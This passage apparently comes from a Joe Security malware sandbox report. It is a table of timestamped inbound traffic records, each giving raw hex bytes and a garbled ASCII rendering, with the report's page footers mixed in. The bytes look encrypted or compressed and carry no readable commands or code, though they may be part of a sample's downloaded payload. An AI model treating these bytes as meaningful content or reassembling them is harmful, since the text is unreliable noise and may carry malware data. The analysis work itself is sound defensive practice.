ea 54 18 3b 57 7b aa 1c 65 b7 88 2b 9e 9f Data Ascii: wW<-1\DO8W:E]][Sx`Hr~R )GIQLmejUU0<yE:5I?=D9AE!b3h1H}Awh7&9rA}#^~4`M/?Fl`Z)MULkTCV3R%T;W{e+

2022-04-25 17:44:44 UTC 188 IN Data Raw: 54 c8 0a 30 63 15 29 72 b2 9e b0 c6 d5 fd 56 27 d0 b0 21 15 e1 92 90 ac 2a c0 e3 d0 5b a0 37 42 cd f7 65 ad 46 2b f3 ba 09 75 70 21 32 1e d0 a2 7c bb 9a 35 14 50 dc ce fc 4b bf 24 2c 35 b1 61 68 a6 84 76 e3 96 0a b7 25 3d 7c ae e4 8f 93 3d c9 f9 b4 7b 54 25 a6 19 16 c3 ae 88 a7 d2 8f 7e 80 ca 6a 79 09 1c 7c 5c 82 e8 47 27 4f 83 00 40 5e 83 f8 04 11 3b d7 91 54 3e e8 63 71 67 f4 3e c0 d8 9d 40 b7 ac 84 dc c1 74 7d 7c b9 46 6e 80 5a f5 ac 3f 23 23 a7 96 be 55 96 c5 48 26 44 a3 7c 5c ca 91 e9 f2 57 78 bf 15 8f 97 fb 20 cf 34 9c ea 66 74 d8 37 70 f1 58 8f 57 f7 20 6b a0 46 86 71 fa f5 25 a1 64 bb 23 cc bb 19 d8 c4 09 ad 68 d6 17 26 d7 7f ad 8c 7c 1c 18 f5 78 ad 39 1d 54 de 69 e8 20 75 a1 f7 03 05 6b 39 81 ff bf af db 35 7a c7 c6 37 aa 61 27 59 76 08 4a 9b c1 Data Ascii: T0c)rV'!*[7BeF+up!2|5PK$,5ahv%=|={T%~jy|\G'O@^;T>cqg>@t}|FnZ?##UH&D|\Wx 4ft7pXW kFq%d#h&|x9Ti uk95z7a'YvJ

2022-04-25 17:44:44 UTC 189 IN Data Raw: 45 d4 a6 f3 93 e4 06 91 4f f8 88 88 b2 7d a6 09 8e 4e ba 5d a4 8e 03 f9 35 20 b9 9d 69 25 e2 85 5d a0 4e 21 d3 e1 e3 96 66 90 80 67 ae e1 77 9f a8 67 f5 1d 1d 26 82 2a 29 ed ce 30 26 0d a1 6f 43 68 50 21 ec d2 a2 30 f4 77 7d da b6 1a 27 44 cb 3f e4 d9 8f f9 7c 3d 25 c1 41 42 58 f5 0e 27 38 bb c5 dd fe 90 1a 02 a5 2d cb 8d 18 4b 56 70 f1 52 73 83 30 bb ff c7 93 5d 87 d7 54 59 f9 13 08 47 33 48 89 9d d4 4f bd 21 7f b4 80 73 f8 97 f3 8d a2 7b 65 1f 4a 5c 26 f8 28 b8 91 10 56 63 f7 c4 28 17 0a 78 1a d8 dd 1c d8 7a 90 0f d7 d2 c5 31 25 d0 ef ea 6e da 23 91 96 d2 db 48 f9 e1 d8 56 1b 20 fa 98 7f 7b 49 bf be 6c 93 f0 b0 83 5b e3 66 c9 cc af 05 06 30 47 68 30 79 6f 39 c6 e8 f1 60 75 53 d9 31 08 ba ce d9 b5 5a 7b 80 91 16 4e cd 7c 60 0e 35 8b 9f 0c cb a9 60 81 ec Data Ascii: EO}N]5 i%]N!fgwg&*)0&oChP!0w}'D?|=%ABX'8-KVpRs0]TYG3HO!s{eJ\&(Vc(xz1%n#HV {Il[f0Gh0yo9`uS1Z{N|`5`

2022-04-25 17:44:44 UTC 190 IN Data Raw: 39 f8 29 53 23 d0 71 08 ed 7e 71 80 c3 a3 a0 d0 29 5e 32 06 4e c2 c5 ac 99 7d 5b ea 15 6d dc be 5c bf 8d 99 6b d9 aa d1 14 d2 dd 91 f8 73 33 c4 57 49 9d 0d 6b 65 5c 65 e0 e9 3f 25 59 15 fa 9b e1 93 b1 8c 04 1e 21 c0 3b a2 95 08 e3 59 da 35 81 3d 73 05 c8 df e0 d0 9d 93 5e 6b 1c e9 f4 5c 74 22 96 9a cf f3 7d f3 a7 e7 8a b9 39 a0 bb 58 0b 11 75 db b5 94 a1 12 79 eb 8f 22 39 9b 33 a8 01 97 18 92 c9 0b 3f 7e a6 67 05 e3 f4 0a d5 af 73 2e ae 04 dd 7d 1a dd ed 03 1b db cc 6e c9 a5 ec 8e a3 62 a8 92 5b dd fd a1 44 40 b8 85 21 99 15 86 09 1d 6c 51 9d b8 e7 8a 24 b9 94 35 c2 db b5 41 d3 da d8 e5 2b 69 c0 ca 20 83 7d e8 f8 71 ca 7c e8 b7 ad 97 c1 7d e5 48 8a 0f 5e f1 9c 25 98 98 72 cd 34 c8 a8 75 3b 67 38 95 d9 1c b7 5b 59 34 9f 8d 10 0c b5 09 9a 10 2d aa 3b b0 a1 Data Ascii: 9)S#q~q)^2N}[m\ks3WIke\e?%Y!;Y5=s^k\t"}9Xuy"93?~gs.}nb[D@!lQ$5A+i }q|}H^%r4u;g8[Y4-;

2022-04-25 17:44:44 UTC 191 IN Data Raw: 39 6c 89 13 38 ce 73 65 16 fa 22 fe f8 f3 3a b7 44 a8 de f7 12 f8 c6 f0 e3 f2 03 07 6b 4e 3c 21 98 8f f1 ea 7f 26 07 f0 b1 0b 7b 63 0c 7b d9 e8 7f 92 11 fa 0f 93 b1 bc 75 17 da a1 88 6e 9c 3a 90 e6 96 d3 29 9b e0 c7 35 9f 67 90 98 1b 18 36 db e8 74 fd 92 b0 e5 b8 e2 3f a2 a7 c0 34 6b da 24 a0 6c 1e 6f 39 a4 6d b4 a8 6b 12 ba 72 4f 5e cf 9f f8 5e 33 a0 90 fe 2c de 30 07 0e 15 e9 14 69 59 85 01 e2 af 2b d2 cf 7b b8 f2 2a de 70 21 1f 61 25 0b ae 6f 59 2f 42 0f e2 6c d1 30 15 af fa bb 5e 3a 04 0d f1 a1 8c 58 73 b1 d2 2d 2e 62 4d e7 7e e2 63 d0 a7 79 fe e2 54 c8 a0 ea 10 9d ae 2d 1c c0 14 3a 92 81 6e 2d 5b 5e 75 32 3c a6 51 f5 94 d4 83 a0 8b 2c dc 8b d4 03 64 0c 77 5e 1f c2 30 dc 7c 1c 28 23 8e 5e ac 21 79 56 15 45 19 5a d6 d1 c9 58 98 27 77 6f d4 38 42 d8 e7 Data Ascii: 9l8se":DkN<!&{c{un:)5g6t?4k$lo9mkrO^^3,0iY+{*p!a%oY/Bl0^:Xs-.bM~cyT-:n-[^u2<Q,dw^0|(#^!yVEZX'wo8B

2022-04-25 17:44:44 UTC 193 IN Data Raw: 87 ac 60 7d b9 1d cd 3d b0 5e 9a e7 6e 5d 7f c9 6a 34 8c fc 2d d5 ad 54 5a 97 0b bc 73 36 90 ca 2a 2f f4 a9 2c da d7 c0 ae c6 55 98 df 71 fa 88 8b 62 40 8c a3 55 8e 18 e7 05 3b 6c 54 bb cc db 8f 4d b1 b2 7b c6 f5 d0 27 e3 bf cb f9 6d 42 e8 af 2d a6 10 c9 bc 36 ea 4c ba 90 87 f3 e9 54 a3 69 a2 6a 77 f5 85 1f de b0 65 d4 01 d9 8c 41 7d 6f 10 f0 f5 39 da 5d 1d 73 9e bd 56 00 9d 6c b2 35 40 a8 7f d7 86 a9 31 66 bd c2 d8 f5 9f 87 89 5f 5f 11 4f 84 24 bd 12 41 1a ac 01 36 99 ca e0 ef a5 79 af 27 c8 51 16 de 24 e1 3f 29 4a 58 e4 6b 2b 36 5f b2 4b 3d be c6 70 c5 b1 3e a3 19 a7 57 96 28 77 7d c8 c0 1f a2 6f 74 8c eb 02 ee e6 12 ae 16 88 23 87 e1 bc c2 34 96 55 3c 1e d3 6b 07 f7 48 66 43 3c 79 c4 01 ef b9 9a d3 d6 81 34 c0 f0 97 b7 f4 c3 0e 85 7b 03 37 93 36 cb eb Data Ascii: `}=^n]j4-TZs6*/,Uqb@U;lTM{'mB-6LTijweA}o9]sVl5@1f__O$A6y'Q$?)JXk+6_K=p>W(w}ot#4U<kHfC<y4{76

2022-04-25 17:44:44 UTC 193 IN Data Raw: 5f 1d c9 9a 3e ae a9 ea 5f f7 c4 e7 30 d2 dc b5 8c 66 17 b7 6f 67 f3 1f 4f 65 7d 48 8f f9 1b 25 79 3d 89 ac eb 94 99 e3 34 19 34 f5 1c b9 8a 08 ad 6a d2 26 a5 4f 66 21 c8 fb d3 b5 bb 82 4f 3d 3e f0 ed 45 78 08 99 8f d4 c5 75 fe b6 e9 84 a3 1d a0 be 7f 7f 19 52 a2 93 b9 c0 25 5f b8 bd 01 4d b9 71 ed 2d bc 6c 9c f9 49 2f 53 d1 77 26 81 fc 2d 86 be 50 5a ad 46 99 7f 34 b8 d1 2b 5a ff a9 58 d5 e6 ce a3 f4 54 82 e6 7b 9e a9 8f 75 25 9e a2 72 a5 37 f2 01 3d 2d 47 aa ca ed ab 51 a9 b2 35 f4 cc f4 73 f8 a8 da c7 4f 6a f0 be 11 ae 1f d9 c8 14 8f 7b 87 9c 99 fe ea 5c 97 47 ab 61 5c e6 89 0e bb 93 41 d4 21 ce 88 53 4e 72 19 95 fc 2d de 5c 5c 40 8f bb 79 0b 84 7d 99 54 65 a8 13 c0 a8 b8 17 5c bd d4 c9 d8 8e bd 9a 5b 58 64 5c 84 50 a5 38 7c 39 ab 0c 2e b2 cf ce e5 c1 Data Ascii: _>_0fogOe}H%y=44j&Of!O=>ExuR%_Mq-lI/Sw&-PZF4+ZXT{u%r7=-GQ5sOj{\Ga\A!SNr-\\@y}Te\[Xd\P8|9.

2022-04-25 17:44:44 UTC 195 IN Data Raw: 7a 7e 0e 21 8b e6 cf ff 10 05 17 e0 b6 06 4d 6b 16 7d d9 f9 64 e1 26 fd 62 f9 97 ce 51 02 b3 89 8d 6e 8f 37 c5 e2 9b bd 2f f9 b4 ca 1b f0 6a 95 98 18 1f 42 e1 c7 07 fc f0 f2 ea da a1 3a d1 80 c7 46 42 db 46 e6 46 7d 28 12 c7 25 98 cb 0a 3f d9 10 61 3d 82 b9 ef 3d 13 c3 f4 f7 4f bb 3a 64 68 1e 8a 73 65 3a e2 01 f5 f0 1d d0 bc 6f ac 9d 0b c3 4b 34 09 64 0b 0b ae 6e 45 3f 55 1e c3 62 cc 2b 3b ae f3 a0 48 20 6d 23 90 98 8d 3b 66 bb d5 1d 0d 6e 06 d2 62 e5 77 d3 a7 5e cf f0 49 c3 a0 fe 10 87 8c 19 03 d5 2a 38 e6 bb 0b 09 5b 43 57 32 10 a5 78 fa 83 bc d4 89 8a 08 e8 8b db 67 40 0d 44 3f 29 ce 30 f8 7d 68 33 10 e7 7f bc 49 3f 55 70 76 22 16 fb db ae 4b 95 53 7b 43 c4 74 60 d3 f4 cf cb aa a6 ad ab 05 e3 01 01 b9 92 6f d9 0a 4e 9d dd d1 1d 78 52 57 6a 22 e1 99 d5 Data Ascii: z~!Mk}d&bQn7/jB:FBFF}(%?a==O:dhse:oK4dnE?Ub+;H m#;fnbw^I*8[CW2xg@D?)0}h3I?Upv"KS{Ct`oNxRWj"

TimestampkBytestransferred

Direction Data

Copyright Joe Security LLC 2022 Page 44 of 50

2022-04-25 17:44:44 UTC 196 IN Data Raw: 7c 37 af c8 4e 1f f6 b9 41 8a e7 c1 cd e0 48 eb d6 70 9e b8 89 07 06 91 c6 66 bf 56 ce 06 5e 38 5c 9c d7 eb a5 41 bc b9 35 ee eb f9 4e e4 ae d3 c3 6e 45 e0 a3 02 a9 7d ce d2 71 ec 56 e8 95 87 97 ca 5c 8b 00 a9 6a 4d cb bb 19 ac 92 65 ce 55 ff 8e 41 42 40 0e fa d6 0b d4 4a 78 51 95 c9 77 0c 85 56 a9 27 48 bf 2b df 88 b8 00 2b a1 c3 d9 c6 af ba 8d 40 6e 7e 43 84 3e e2 11 7b 2f ad 08 34 d7 cd e3 8a f6 67 b9 27 f2 7a 4d f1 27 c2 2e 2b 41 3d ed 7a 12 06 6e a4 42 61 b4 c2 6e c9 d6 37 c6 3d bc 73 ad 1d 64 45 cb dd 00 aa 78 75 9a 9c 13 c8 f0 21 96 0a e7 0d 8b fc cf cf 3d 9a 5e 5b 1c f5 73 31 d7 58 66 46 3b 7e f3 27 ef bd 91 d3 c2 81 25 fb cd 8a bd f6 d9 13 e0 42 2e 27 b3 57 c1 eb 77 a7 29 72 a3 d3 1a 56 8b eb 66 a1 92 6e a6 be f3 f2 43 e2 7b 1c c1 e1 04 fb 85 39 Data Ascii: |7NAHpfV^8\A5NnE}qV\jMeUAB@JxQwV'H++@n~C>{/4g'zM'.+A=znBan7=sdExu!=^[s1XfF;~'%B.'Ww)rVfnC{9

2022-04-25 17:44:44 UTC 197 IN Data Raw: 03 73 3b 21 3c fa 03 f7 32 3b 89 ee d5 59 39 6d 0d 80 ec 81 4a 01 bb d0 42 2e 67 63 d6 66 91 54 c3 cb 78 ed 91 79 d9 a0 fc 07 f3 8c 1e 6f fe 08 59 da a1 0b 29 5b 43 5c 0e 18 b4 5a 9b b4 b8 b1 af 9d 7c fa 8b f4 6b 44 0d 14 1a 34 d4 55 fc 6c 73 1e 3e dd 7e b8 40 4d 53 61 6d 0f 19 f6 d4 bb 3f 9f 21 28 45 c2 38 61 cf 93 f8 c6 d8 c1 9b ab 28 c5 0f 02 9f 92 60 c9 23 59 f3 f8 cc 1b 19 53 4b 4c 18 c3 92 de 72 35 e2 18 2d ff a5 38 ef 55 6a 5b a6 05 57 d1 84 14 62 c7 58 da 13 56 7f c9 1e 8d 77 7b f9 b9 f8 01 7d 52 ae 49 cc b2 3c e2 33 b4 b2 08 31 b8 29 18 50 6b 24 0b 75 aa d4 50 53 f5 01 29 a6 e0 42 74 a5 5e b6 c6 18 56 c6 0d 76 05 f1 39 1d ad 22 37 ec c1 82 91 dc 3f 78 0d 4e 3a 91 db a6 8f 7e 5e ec 4e 3d ec 90 2a 95 a8 fc 5d 98 e8 d7 27 ab eb a4 bb 58 1d b7 7a 49 Data Ascii: s;!<2;Y9mJB.gcfTxyoY)[C\Z|kD4Uls>~@MSam?!(E8a(`#YSKLr5-8Uj[WbXVw{}RI<31)Pk$uPS)Bt^Vv9"7?xN:~^N=*]'XzI

2022-04-25 17:44:44 UTC 199 IN Data Raw: 24 8d 2f 7b 39 aa 6d 3d b2 df d2 da d7 71 ba 36 e5 63 0a d7 3b af 1b 3c 5f 39 ed 6a 1a 07 7c a8 5c 20 9e ca 78 ce c5 0f a7 1f 91 75 9b 29 62 7b bc e2 08 98 48 70 85 8e 16 8b d7 23 8b 09 b7 32 8d f1 aa ff 26 b6 5f 58 0c da 7a 2b a7 74 7c 4a 2b 7f c2 1c fa ad 93 b6 e2 e4 07 f5 f6 ab a1 f3 fb 18 99 46 20 23 b8 24 a6 dc 66 99 02 60 99 da 24 4c 8c e1 7b a1 b2 6e a6 b1 d7 f8 52 f4 61 00 ca 92 77 d9 94 12 7f 7c 6f 52 c3 4f 16 9e 18 6f 54 68 d2 6e 58 00 36 67 aa a6 d6 43 c2 14 9d 85 d4 69 64 16 cf 4a d1 aa fa 8b 56 5e 33 b4 0d 1b 5a a7 2b 45 6f 82 75 ce b8 f5 2e 6a b4 49 d1 e7 6f 2e 66 71 ca 36 aa e6 72 d7 d0 84 81 28 7d a5 57 1e df 66 24 22 ec 3f ef ee e3 0c ab 54 89 cc 83 34 9d e2 c0 f5 ec 03 17 1f 6d 38 21 a6 d9 c0 f4 65 33 11 82 a3 01 3f 51 17 79 b2 cf 69 d4 Data Ascii: $/{9m=q6c;<_9j|\ xu)b{Hp#2&_Xz+t|J+F #$f`$L{nRaw|oROoThnX6gCidJV^3Z+Eou.jIo.fq6r(}Wf$"?T4m8!e3?Qyi

2022-04-25 17:44:44 UTC 200 IN Data Raw: 65 96 ce a5 39 19 55 57 4d 18 d6 f6 c8 65 41 ee 11 0f ad 83 3a e2 76 71 57 9e 05 51 a7 8b 03 07 f0 5e b5 02 5a 6f f3 24 e8 53 58 a4 8e 8a 1f 68 52 9e 56 cc ae 2d e3 24 d1 91 1f 2a 91 0c 19 5b 7e 4c 2d 3b 82 e7 7d 6f fd 05 2a 9c e6 59 76 cc 6e a3 fa 03 4d b0 33 73 09 f7 7f 26 ad 0e 3f e9 d0 c6 82 ee 09 66 00 7d 22 91 fb a6 ab 69 42 e3 5f 6d c8 9e 29 90 b8 d6 5f fd c4 c2 34 a7 f7 a4 f8 53 17 b0 40 4c f8 0a 4b 10 52 50 e0 c3 3f 56 44 3a 99 8e e1 94 89 8f 14 6b 3e c0 09 94 ac 1e c8 4a f6 37 a5 53 61 44 9f dd c3 93 b6 9f 4f 53 07 85 d2 5c 65 1b bb 90 c9 e4 7e e6 d3 dd 9c a4 0c c5 94 34 46 33 59 ba 96 b3 cc 32 55 9f c9 38 54 b0 34 c4 2c b8 7d 9d ff 0b 1c 48 d2 65 24 8b fd 2d bb be 31 6b a6 30 b4 68 37 b3 c8 2b 34 ec cc 74 e7 c9 eb a2 c0 53 86 f7 70 ea fd 80 62 Data Ascii: e9UWMeA:vqWQ^Zo$SXhRV-$*[~L-;}o*YvnM3s&?f}"iB_m)_4S@LKRP?VD:k>J7SaDOS\e~4F3Y2U8T4,}He$-1k0h7+4tSpb

2022-04-25 17:44:44 UTC 201 IN Data Raw: e1 e7 d4 43 e8 62 07 eb 84 04 ea 83 09 4e 58 79 5f 82 79 17 8b 14 6f 53 7f d8 25 7b 10 5a 64 92 d2 c5 48 ab 25 91 82 c5 7f 09 6b f9 5b f3 ab fc 90 4b 45 68 83 1a 11 2a 81 22 41 2f db 3c 9e 85 90 1b 66 b6 69 eb fb 78 3e 61 18 f6 34 8a f1 40 de d1 a4 94 25 18 b1 32 2d e5 53 01 22 fa 28 f9 ee d6 2f bf 49 80 c6 83 3e 8d fa f6 e5 e8 0a 1d 1f 4b 33 2c f9 cd cd f7 73 3d 21 ed b5 0b 3f 65 1d 6e 86 fe 72 e6 33 f4 5f bf aa cf 59 16 bb 8b a7 0b b6 37 e2 d7 f4 90 3a 9c 81 d1 32 db 6d 80 fd 1c 0e 59 cc f3 74 fc 95 c4 dd 88 87 35 b8 b7 db 34 7e b3 21 c5 5a 22 2c 1b b7 0c 93 a2 1f 2e d9 23 7c 5c a3 b1 ef 27 7b ac e0 c0 0a af 27 05 62 1f fe 6d 0d 55 f5 3b c8 c1 28 c0 ba 7d b7 9b 0d de 03 06 03 7f 7f 2d ac 2d 66 2f 42 0e f9 6a cb 3a 3b a1 ec 9b 4e 24 01 21 83 a9 88 4b 75 Data Ascii: CbNXy_yoS%{ZdH%k[KEh*"A/<fix>a4@%2-S"(/I>K3,s=!?enr3_Y7:2mYt54~!Z",.#|\'{'bmU;(}--f/Bj:;N$!Ku

2022-04-25 17:44:44 UTC 202 IN Data Raw: 96 b7 9a 52 d2 9f de f6 3a 7c ca 19 08 9c 6d 38 e5 fb 2c e7 89 70 34 bd 95 e7 d2 81 e7 fc f1 e0 ba 48 85 7c d6 fc 63 a8 38 b5 51 ce 33 13 43 ca aa 21 05 d2 f0 0a 3c 72 97 01 e8 0c 6c fd e9 b2 01 cd 93 dd 9b f7 57 a5 a1 eb 9b 03 40 b6 d3 e4 c7 21 b6 3a f9 48 68 24 d2 77 bd 5b 55 c5 f2 85 03 48 2e 26 d9 46 f1 11 40 dc ea 31 3b d9 c6 3c 1b 4b dd ad 5b 4b 18 2d 2d 98 24 a7 cb a3 24 e5 9c 03 90 f8 c7 06 41 ec c6 22 f1 56 84 6d 7e 6c 2e cd b8 99 ce 22 cf 57 dc b2 8a 35 fa 91 c8 3e ae 39 aa 8c df 72 47 9c ad ae f0 87 29 68 30 f4 99 80 19 e4 12 4e e6 37 98 ef 7e cc 77 c5 bd 50 ad 61 f0 26 08 79 b5 ba 59 aa 3d 3e 33 f4 c7 1e 74 f4 1b 7c a5 23 df ff 68 f1 e5 60 39 52 4b bf 19 0f db 68 df 28 91 d1 f3 25 f3 dd d3 41 d7 69 5a d6 a5 85 8c a5 1f d8 d3 6a 19 65 92 49 ae Data Ascii: R:|m8,p4H|c8Q3C!<rlW@!:Hh$w[UH.&F@1;<K[K--$$A"Vm~l."W5>9rG)h0N7~wPa&yY=>3t|#h`9RKh(%AiZjeI

2022-04-25 17:44:44 UTC 204 IN Data Raw: 54 70 ce cd 77 3f 03 79 08 99 b8 1a 98 5c 91 1d a2 ce b5 22 f5 47 ee e2 66 c9 d8 79 a6 f2 d3 49 eb 60 38 5f 9a 04 f3 90 6d 4f 35 9e 8a 6c 9f f0 b1 9a d0 ea 55 d4 ca a1 48 09 a1 33 a6 2e 7c 7d f8 e6 63 f8 cc 6f 45 59 9b 07 35 c7 d0 9c 5d 6a 43 51 82 41 d6 54 63 0a 74 82 1c 05 39 85 64 83 a8 4a b4 c1 1e d3 fa 71 a2 04 57 74 1e 7e 4d e1 01 3b 42 29 7f ab 02 b1 4b 3e c8 9f c7 b9 6d 6b 6e f0 ed f4 b9 28 d1 a6 4b 46 1e 7e b4 15 89 0e b9 d9 bb 76 83 48 af a0 b8 6d fb ce 6c 6e b7 73 5d 9a d3 19 0e 3d 31 11 1b 7e d3 3a cb f3 d9 d4 ce ef 78 ae e5 b7 03 21 7e 15 5e 5d a2 34 9e 18 1c 68 42 8f 1b c8 22 39 20 41 0a 7d 5e 96 bd db 6b e5 5b 2f 26 b4 30 0d b5 8b a3 a7 aa c0 ca d7 5e a0 6f 77 c3 fc 01 af 54 a9 c2 a8 27 44 6a a3 03 1b 7d a3 f7 a9 4c 30 b1 51 6d dc b6 45 91 Data Ascii: Tpw?y\"GfyI`8_mO5lUH3.|}coEY5]jCQATct9dJqWt~M;B)K>mkn(KF~vHmlns]=1~:x!~^]4hB"9 A}^k[/&0^owT'Dj}L0QmE

2022-04-25 17:44:44 UTC 205 IN Data Raw: 88 af a5 dc 21 97 e1 b2 1d 9f ef 67 ea 51 7d 7f 23 d4 56 84 62 54 66 34 d9 bb 86 cb 36 5d 12 3d 87 9a b7 35 e4 ca a2 a3 3c 2c 83 df 71 47 a0 ad ae 05 8d 36 e6 e3 85 85 f2 2c f4 80 2f 0e 2b e0 ef 6f cf 77 e1 a1 47 c8 e4 11 3a 04 6f 95 b6 58 b5 3a 0d 26 97 dc 02 e9 2c 08 ee 20 25 ca 7a ad e6 da 69 22 da a2 8d 98 f3 c0 e6 35 3d 0c 2d f3 d0 33 40 17 5b d3 70 5f df ae 8d 8b b8 1b cd 56 97 16 7e b7 41 aa 7e 45 2e 4a f7 01 58 6e 17 c4 33 4a e2 27 cc bd b4 5e db 68 f0 10 fe 47 0e 00 b8 85 6c e5 04 12 ee ee 6f 96 97 5f 7e b5 fa 45 ea 97 cf 8d 48 fe 3a 39 59 b4 1e 52 ad 34 0e 2e 54 1f b8 5d 0e 39 f5 d9 98 ed 49 98 8b d8 d6 90 a0 6f 94 1a c1 a3 db 77 a7 87 12 78 a7 2e f2 bf 60 34 62 45 00 a9 fd 1a 52 20 ad 9f 39 98 32 75 ae e9 7f 96 f9 6e 3f 15 3c 27 93 ab b3 e5 7a Data Ascii: !gQ}#VbTf46]=5<,qG6,/+owG:oX:&, %zi"5=-3@[p_V~A~E.JXn3J'^hGlo_~EH:9YR4.T]9Iowx.`4bER 92un?<'z

2022-04-25 17:44:44 UTC 206 IN Data Raw: 2e f9 1f 34 3a 46 6b 4e f0 fe 65 d2 02 d8 81 43 5a 96 8a ad 04 91 11 b3 d9 ba 92 81 33 bb a8 a9 7b e3 c8 7c 61 a9 67 5c 83 d4 07 46 22 3f 0b 5f 7f dd 20 86 eb c9 c8 d3 ed 74 a4 c4 b3 0b 38 7a 1c 56 4c 24 e5 9a 18 1e 64 4f 86 10 c8 22 3d 20 94 0f 6d 54 8e a8 cc 3b fa 51 34 2e b7 38 07 a1 81 3a ae a4 cb c8 dc 46 b2 ef 62 dc 77 d1 a3 54 63 f3 ee a5 21 78 71 32 31 7d 93 f6 95 00 04 b1 70 6c c8 e1 48 84 a4 13 3c f0 60 25 b5 6c 7a 02 bf 2a a7 e4 36 18 84 6c 85 3f 17 cc e8 0a c8 0a 06 c5 1b a7 c8 44 85 54 d7 f0 f8 8f ca 46 6e b5 a5 2c 4c 29 6f 4a 23 38 07 a4 4d d5 84 31 17 de bf 0e 97 78 bb 61 6d 32 62 82 2b c8 d2 59 c6 8d a9 c1 d3 8d 6e 8b 79 36 52 e2 9a 41 2c 00 31 af 2a 6f 8c 7d 8d fa cb 9b 3d 18 16 9c 52 d2 99 d1 e4 26 f0 15 0d 0f 9b 7e aa d9 2c a4 5c 98 fe Data Ascii: .4:FkNeCZ3{|ag\F"?_ t8zVL$dO"= mT;Q4.8:FbwTc!xq21}plH<`%lz*6l?DTFn,L)oJ#8M1xam2b+Yny6RA,1*o}=R&~,\

TimestampkBytestransferred

Direction Data

Copyright Joe Security LLC 2022 Page 45 of 50

2022-04-25 17:44:44 UTC 207 IN Data Raw: 42 83 98 25 f7 cf 56 92 05 e3 5e 59 2f b6 4c 32 5d 8b 13 5a 61 17 c4 3b 5e 70 46 1c b2 31 b5 c1 4d fa 06 79 ac 09 14 bb 85 6f fe 8e f0 e1 e3 6d 9e 83 cd 1f 65 f5 c0 0e 97 e7 8c 44 7b d8 36 51 b6 0a 4a 27 e7 08 35 c9 f6 b4 67 8e c9 fa d7 97 f6 c3 85 89 d8 d0 90 a2 fe f5 15 44 53 d8 5f ac 89 05 f0 7b 24 e8 b3 60 2d ea 87 02 a0 fd 0e f2 e0 b8 92 39 9b 02 72 ad ff 77 8e ef 66 29 13 1a 06 80 36 77 e4 73 10 54 0d c9 6e 7f 69 6f 02 da d2 90 31 bd 71 e6 ec b4 07 61 59 b6 36 98 c3 92 e4 23 21 44 c8 60 74 47 e9 45 22 5d bb 49 ea f9 b0 5d 1e c7 2e 83 99 13 57 08 74 85 4f d6 9e 2e a7 a1 da e5 59 10 d2 51 4b 39 3f 60 46 88 5f 09 b0 96 49 d0 3d e9 ad f6 79 d8 95 9f 89 85 63 79 1a 17 58 50 fe 8e b0 1a 85 59 42 84 c4 7c 31 13 fa 8f c8 2a dc 83 d2 59 05 d1 d4 be 21 f7 4f Data Ascii: B%V^Y/L2]Za;^pF1MyomeD{6QJ'5gDS_{$`-9rwf)6wsTnio1qaY6#!D`tGE"]I].WtO.YQK9?`F_I=ycyXPYB|1*Y!O

2022-04-25 17:44:44 UTC 209 IN Data Raw: fd 03 e4 3a 08 3b ac 55 7e bb fb 4f 9e 38 10 3c e8 6e 2d ba e3 6a 04 8a 24 b3 45 3e 09 2c cd 83 3e 1f cc e7 84 63 0a 28 d3 9b a1 d2 cb 83 5e d9 ff 74 50 dc c0 95 27 99 cd 51 29 98 8a 21 24 8b 7b 43 d5 85 22 81 95 3b f3 95 76 37 be 78 17 60 83 2b c8 d7 7f 40 98 b1 d4 54 52 7d 18 f5 36 40 e2 9d d1 7d d5 36 9d aa 65 82 e3 4e 7d ac 8b 5a 90 a4 9a 5b c0 1a d8 ea 41 60 45 7f 1a e8 64 24 6b 30 36 61 82 6c 50 35 5c fc fc 85 f5 7d 0e 6e 3c 4a bc 68 d9 7b 88 af 36 a5 d1 c8 33 1b 4a dd aa 21 0d db e4 ab 35 66 97 01 ec 10 79 79 f4 b2 00 98 9c ce 80 eb d9 6a 21 f1 14 05 5c 3f d5 ff cb a4 45 ba e3 db e1 31 c9 60 2b 70 d7 16 e6 99 89 b8 3e a8 0a 4f f6 81 cb ec c8 3f 3c 49 4e c8 0b db bc a7 40 48 19 c4 28 8a a4 a2 c3 aa 33 f9 10 fb 9c f3 f5 86 48 f2 d3 33 53 b3 84 66 4b Data Ascii: :;U~O8<n-j$E>,>c(^tP'Q)!${C";v7x`+@TR}6@}6eN}Z[A`Ed$k06alP5\}n<Jh{63J!5fyyj!\?E1`+p>O?<IN@H(3H3SfK

2022-04-25 17:44:44 UTC 209 IN Data Raw: dc aa ae b1 68 fd d8 ed 67 ba 70 58 9c f7 0c 45 2b 25 83 8a 7c c7 a9 93 e2 c6 54 13 ee 6e 2f ec b9 11 a5 de 1a 4c dd 07 22 1e 10 01 69 55 fb 13 d5 2f 14 35 06 17 6f da 43 b4 db be f5 46 3a a6 6d 39 17 3c 9b b5 be a4 cf c6 d1 54 b2 ef 67 d0 f9 1c a3 48 25 fb a7 ab 68 7b 29 2f 10 75 a8 f1 bc 0e 3b b2 42 19 c6 e8 42 92 25 1f 3c f6 4f 22 bf f8 65 87 4a 2b a7 e4 37 15 a2 79 9f ba e2 cd e8 0b 70 03 28 cf 14 b4 ce 42 85 4d df ff 74 56 c6 48 74 27 98 2c 4b 4e e5 9f 3f 29 8d 7d 70 f2 9e 25 10 4c e0 d2 84 eb 31 a5 76 92 bd 82 2b c8 d7 45 55 00 05 db d7 92 72 04 69 3d 53 fd 80 cd f5 06 2a 81 39 ec 96 f1 54 f4 cf 9a 3d ed a2 89 5b da 95 d8 f0 30 52 c4 02 0b 9b 6c 29 79 30 2a fc 8d 7e 27 35 46 78 d5 8c f8 fb ef 75 79 cd 78 7c d9 78 65 b8 2a 37 8d c1 2f 94 4c c0 b6 af Data Ascii: hgpXE+%|Tn/L"iU/5oCF:m9<TgH%h{)/u;BB%<O"eJ+7yp(BMtVHt',KN?)}p%L1v+EUri=S*9T=[0Rl)y0*~'5Fxuyx|xe*7/L

